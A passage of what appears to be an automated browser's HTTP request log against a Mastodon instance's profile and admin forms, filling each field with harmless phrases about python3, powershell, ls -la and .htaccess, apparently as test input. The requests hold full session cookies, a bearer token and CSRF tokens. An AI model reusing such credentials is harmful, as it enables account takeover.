_mastodon_session=wsWeqOBCkdm6W7BgxUIUXmZL53WQcRiYD5qxpQMGdQn7ffgUr2pyA1JK2IuWlU8ZsgQgOU%2BA5fl8%2FP4KqCWrjZenXo4NUr4Og3cG6bNHv8iJnqr5oruzqqamRueD%2BuN11cx6%2FHjKQrx%2Bs3%2FBMDd8RRglGQjWtFTnOXrQYIR9yOGjcwNWCtyYCGAcUx4kcAwBFHkKpO2fGMTjxepgjLFaTZSc8Fhpz4eFjS9on9fbS5cek6p80PrN27n0vMQYPmZOo0agDymWrcJyl5moy7jg1wTAMFZw%2BtBbhEU6weVmmB6ccXFmN1IyQe1qzB4siaG%2Fn4AAeJYinJ7hQDA5EXgbc3KDOIYJGj%2Fa2FGPoxN6QcQ%2BdlSBBWGGALIZF2vN3483YZgDLuR9NbKV--W5T0%2FWskJnen5Dkc--l%2F1T24Age7%2F9fgc72I1rjA%3D%3D"], "body": "{\"note\":\"ls -la shows the .htaccess file\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 235", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=ZoK9h%2FxgaOurQH0npEckZgHexCYp04bxjsIrqpx0vVrbjvoJuFjymzoBksuvZq8SaCkBfSgW%2F5tGx08zhLtUH2Hb2vdBNj%2Fx6FNZ942EhDpL3NmBHuvtWMXO23wFTmdobalBUJ%2F4ll7NrKsn%2FgnsIsOIOoggUUC9AMXU2sOdA8RcT4ACjyTV%2BTPsoFTXq7DjztGRPXltBaHPmww0EFkin%2FTK%2BqO0AFgCgKqOSzzJmsXVW%2FllrgW%2BPATiNVtcrNlSgm8S9BwiPLiVHLTnQ7BONJUSMFNr%2BKse1o1QEzwdlBtpT9NeAniBC8lGmaBJ6CJo7NwWOeGVPIumT5wllY6G0DHynnCXfJEVT5vRokHYDs%2FSwRB8XOcckA%2BfislK6ga4Zl%2FwPEerd44n--n9bWadmH5ICLzs9P--gmVZyT37Dif%2BUrSoixAvGA%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 339", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=hw6nfkWmCq0K%2F44I%2F4jhJA0D7vKlSjTK4m9yqegVWr1OsoFhOsu7uTaIoMz%2FPCPn50Y2zIvZ47OvubuqY8mdJXnmOsviKpsuVoOMoTZfbbsvna4E2dgsqQBi8ggltMaksn5nuH%2BmJUT%2F1II5j2qcFnO98eCaFGjSZz7ldLwpdr%2B5yGTtquUirrXHLKr1ygy%2BIYxWkEkwZn60VjJ6eLhEXGhoXHomYRKxNw3Vx1gA1LWBw6r84JTfFuIUInIlH3Bt8Kz805P1xZ23p34KmfxCV5g0lyEYA0N9IxU9ddlslhNNNY54KcaIp1O2msMcPvh8F1JOJCru%2FVNJJ3I3yqjm5gslwbE74qVKm6vsOkBexL%2FNISvNVKtLPqo%2Bz4heoXe%2BODYy2BUfpVho--LwXV%2FcVsWbLkBTy3--4Oxw3HOwITwJ1nWTdKGjaw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"},{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}"}
|
||||||
|
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 449", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MDguOTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b3b19a00352f24977f6020ab9a3d6c383ffa3ac7; _mastodon_session=mP7fiQyDKoV6lJ%2BWezz3yVhrquplnsAUk6UVtpRcwznoIRg5gTCCpybCimnYifSv0YE8kccsZ1GrKNsA2q%2Bl801pNb4XiGxO5MYLBqAR085qM%2B3daWp4taG6kt87s1sMFhHYglcGxyK2qHN7ij4EOZi0%2BEFbdFTOfAHPn%2BxZnBa%2BbAslC4OJ3cL9JThjQBRA7GrPdPcT%2FlZVwvnejGk9EhYcX0t64M4%2BXJh5tWffCGK4oN%2FsqXU11qs6BT%2FxpcHMmv6m3RHm%2F%2FD%2FGKVlvBjSW%2FOmonjCmhBaajL3IzrD41oIk21%2F2oIa7CIlF%2BOfFcOIlWX92MVxp5uzDVx4YvxE3Di1pG6R6Vgv6QxRNFcuUS9oRJeczQHPyD%2FUnR0VD2EedIgqMvsY8%2F9X--VfImL1OEW0wP%2BCiI--64yPeaLF5m%2BS%2BiRi7IRaog%3D%3D"], "body": "authenticity_token=jpaDeCR9iWwzuxPg1JgseB8Y47v1qHPkVdGFovefz7smHg_TBpCr0uf5bscQQaY9d-1KgPUa4FjmySI95Fs4EA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 218", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MTcuNzA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7d71870fb60c9e5abfad99a480effe1ab5e8aef8; _mastodon_session=CBCujKgzjcSEVJW0F9kw%2BOLoA0mbrQk9fmJZvoh39xY7k9aWN2BJ%2Bkh3O5BEhIeoZpC2ENoFL6CiIxhM7Jc%2B%2F4xopNZoW245YsTSLEeJFsiUqjmkHMQoudZgV2Xrpcb9P3kiIdAEFrRA2G%2F3LsGeyaHJwve%2BdWAxGDLelPGZVbP88A1nAYNCemZOYVF1SnwXL%2FeTV%2FhwAPu0PkZm6xJRrHVrt5A%2BwE%2BMNb6A4pLHucUYkegl%2BM7ryv354NvD3rfV5cPzXur488DDipXNRoKP%2BzI22Sghk%2FnRm73bhI%2BfMLdfzC32mhoZBbSJ9Mb0UAk2L6d%2FAiGO4phvRnDKDg7iRvF701ovnkq4MAI9xzHGCcO%2B46fd%2FlKQOHy2pY7OV9rQGRISEQip5QtM--zxe96wyhYxlpDb10--O46IGRShqqt3BWz5kNJHJw%3D%3D"], "body": "authenticity_token=iHeUgrJk-gy8zqDm8157aBB9Je8M9Ih3w0QL0zE9g_EiV538l6J8eAQk3Pt8EVYtlaCJLG1YEAcYNy5lOzcKCw&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MjYuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--52c7b5926651b23d91d8cb90d66df2b5c92e1191; _mastodon_session=dqfKXdGn7rpAJWbDf4xUWXgfJ%2B1P3yRbglvdgCEkuolsBEMMCdZSd%2Bfh3vDmhN13TpuAei4J0xhtfKv3T1Mqrer1B6EPcez5eF7M7TdzbkNs4pk3%2FC%2FcK9tCTqtQicBodw%2FeLD91xbxn9iSsaDp2jxmgQojIHtHBGDcX0rz5QoNdmrPJbzP5LFiWTnjfkkmmqA0SYGiP9M8fQk72N83IBMF65hKBeBnixwVSUQbDc23nWKbYfqYGqBz%2FPapP9UxFGUhI1Xyutf%2F0OA2%2B3QYLNcvojOVTnYUIETRCY6xXe20mAJPJH6XgeeknBwNLxkAXfkXQbmydaCghna5Egjcegk7q1dC1lFVsXjPRAsBNM3lVpVa2oRjDINlEA5kfd%2Fh6ALSrtlgLYyDa--%2FBdXifGO9k%2FaEUmA--g8a91lnpwy7nArYzegLyEg%3D%3D"], "body": "authenticity_token=DUJbvjl6yppqesLEBLG_iuk1Q_HkMKCRrrsYrjAa1Edb5z5J8ZXFK9FexIlMXclDLXrwfD8g8VNoq2I6O6LQKQ&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 282", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MzUuMDA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8b1e172f1c7a5f6e39ce9489a28ae8274b5f36fd; _mastodon_session=NltPQ7PL3G5%2FHBPCmFd79c3ci%2B4I2lcfqclQTfANAxXn43aL%2FwhPppiwQOBsB%2BaKiPrMwjJx6o97XgdnW4sriN2YXXx%2F%2F5N4Pi2c2g%2BG%2FV9Dl6V6h3zefFN%2BuI48r7cWCxi2KrdYvkrhLPUPg6U%2FpvOLch8Pdmess8lcOMvg94%2BY6t2Aj7caKXz5gvdPiic%2FlGhCFsp60e9DW1x3di1w3%2FcBNUI%2Bk1YhIWp8epOSwh%2BYozg9p3%2BL7dZ7H9I0Mg3FHhVhWLnLzT0a3DRIYdc9Mr85CM%2Fz06FeiBnVC4YVtezvUwyvjkdo%2F7OOmYAu0tOlkV43KaOdsDz4qn3nr2h3glDqYJw6mUVe2bfWRxyMs3zo84ofzKDznPS9uRR9ZZeWqWcbYfa4g5Vb--y0WcSeMDaCUhmTql--FoTC4Uu%2FwnOyLO%2BagBBXcA%3D%3D"], "body": "authenticity_token=ah1dpajJ5yY_kZ65_gHpFzDFB9o2xbow-o1NjQA00KGX1C372gPtG7xiw8wOB-aCLCGMRdrUSQ3dMJbmIfEaVQ&account_warning_preset%5Btitle%5D=python3+and+powershell+scripts+that+edit+.htaccess&account_warning_preset%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NDMuNTI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9906d0e453de47e483b391508ef38643ac95803; _mastodon_session=qC1PGRWyv%2Fyr%2BuDKnAvrO%2FwrBzvvTlWfkvrsEFXQbteOFUtRkv%2BijC0Z0JG8dEPDXoZvPE8zfOBjHcOjUJG48L716hbrVsHaHjBZ3tAuFS9DWwpUwkGlgZP1GkVFd3rWKb2hrC4iDbgV4o%2FYwVZrZS3DDYQfxDAN99bb%2BoQrfp2N0OLrCA%2F8rtlBrOC1nkz40xVwOGhMMuH8naw6NCS%2BWXV6HCt4e8JCAMJTnXGkAH057lQnV5zxKzlof%2FQTizthbfE85kPFxyBxaAPQgZW1cmVg73w4UVj0ruBktxXhALBkEzSe9XnNcqp2fIxlMKxqLm16MM8kMP7HqNd1GNCGyiVRgF4QF21b5qSJD80BJ70DhmHfXZ0mH90dnOddYCLB5fuRCEj3D4xh--rx5oDgEtUo6DRUoJ--L9HMW27wF750Y6w7dPOrLA%3D%3D"], "body": "authenticity_token=nzxc_g11vWGyI0MUzvzns1_s7ql61lXieMumQD8IeQHJgt9iuYw4u2VbTUBLLSWmHRltLhb3MnZhFWSePyOtlg&user_role%5Bname%5D=python3+and+powershell+scripts+that+edit+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
|
||||||
|
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 447", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NTIuMTY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d2b7eff6bda8a27d8f8fc3aacab6b3ddb921b1e9; _mastodon_session=akHV2WTZ2LD5b4w9CfBdeASEiMjNz6r3x7YqD%2FHfiJNMjmeYgvFYNRQkSUC%2FHoz0iWMNmhdBTgAb%2FWQq1P8CMjQQmMc3GIruUf8BF7aFegz0y6aUPZy03E%2F4KHzEYEqWFLoSs9PgQUR5WG4EgRE%2B1gq%2BDv%2Bhl%2BzAnnhOW4bGeDUH7EUe2%2BXM8rpF9uDnzB8yZYZV6wnKH8LDjiZ4G5VfeIRVwNnjCD6hk9gJarQKg%2B7eWrQoZRrU%2FAMBijK%2BP3YbdF%2F6VKqHkXZPxsk5cb07U%2BoVYz2ZsiNy7Xk4%2FAbSsfk91ZjuhyM8iFMbOwM3FRTEie9ov0WuGPD4jU8NgP%2Fr4A%2Fwd%2FupubKK%2FUPB5FJ%2B%2FYsJZBfuWqt8LAgC7TQ%2Fq7nj3DAu0SrQzYol--TOszd08RUI6Hc8kp--HnV3x%2FCb4XFDKxr0cxBLZQ%3D%3D"], "body": "_method=put&authenticity_token=DYaj53QDVmcnY9FS-tI4HD6wGq2GDzLxT3MZ1-GJpKhQDtCLWJNbAh-lGBfXcUeBYI56I3qzoL-85wfTdgIx_w&terms_of_service%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Bchangelog%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
|
||||||
|
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 430", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDAuODgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49894c60dfbba820df51b74e464488408930ec58; _mastodon_session=iU7SW181Dw%2FpL1GG533QpfQjGfRfxR7%2F34aJPOngRQCcy%2ByGL%2BKFT7rRRpT%2FtmI2Si6KZDFqpS0rAKFGSoxz53NSHMhAh24i33JUq0V%2BArAp0gMmHHzKYoVAcDk0UAiCzeK1tX73mX8xv%2BAQFM%2FERtrAshpftkDnAYvSIEslHgXzBVZ8K%2BoNO7W3x1SiC0lNLeoI3A2wKobogZ5ckFxKbzhtfraE2LJY3C%2B22ooyNCokxeB6ZBUQpA2TYQF%2FbF5LPTebeka%2FB8%2F85TfmJQvF5j9JtZt1ataxtDrFVFV8S1mRxlBi%2F9EFBs8TGlOqdNdHIUqniIWs8NWHwe0OH044ZDv8vPa9HuB%2F3SaIC1NSCk%2FkHjFqqLTIscShG0HLR3wdfIqUT3ZJsoyo--ByJHkEPDzZ0cxDvl--krk0XyN%2BTUNu2lcYdI5EhQ%3D%3D"], "body": "authenticity_token=l767WRHErniorVzX7hDt67o8cq_e_YRrmKjH6fQdL5s_NjfyMymMxnzvIfAqyWeu0snblN5PF9crsGB259nYMA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 199", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDkuNTkyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c4b5d3aec53dacaabdcc6c2e921fd5b01bf2c18; _mastodon_session=3QBPMJBku9WNiZazEEUTcFV6pKlvzbsT7gXh5Nzy%2BHyea0ILrbn1l7xhS0m3wzLvj6i%2F%2FB1zKtdul%2BSgzUmCFmrWncqFse5VUCSy0im8Q8pWuI%2FEP93CiphAdLXpoATmowUTRIDd1f2F%2BxcZOw8K8NGXUrTFypVuu2X41KV8typrJJG2ukjFHDvc2sghz%2BErVwk8o%2BHv8zjo7uF4hvbDwwwPUbCDcc5iriMJ6HUEwef7xFm7Y4pTTshD8JrIoHLcNDY0egz9gpF47CpOpffL8u57srSB%2FbSU%2Bcm%2FJKFbxBSSLExrp4FZnCuiRsdNMaXZFxHFCwTvo4Sdt1TCRvikjul0MKvUqfofVsQBK6P4VfNJ%2FrSTZsjAe11J%2FblR615mq0YGcwFqApht--WXNSjLfNS0HnC6B4--nutvcNNDDU0nJz0D%2FHbnlw%3D%3D"], "body": "authenticity_token=tSPoPblP8K0OkEbhtpvJaVxPTxiQymtlINoDK-mO6c4fA-FDnIl22bZ6Ovw51OQs2ZLj2_Fm8xX7qSad44RgNA&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
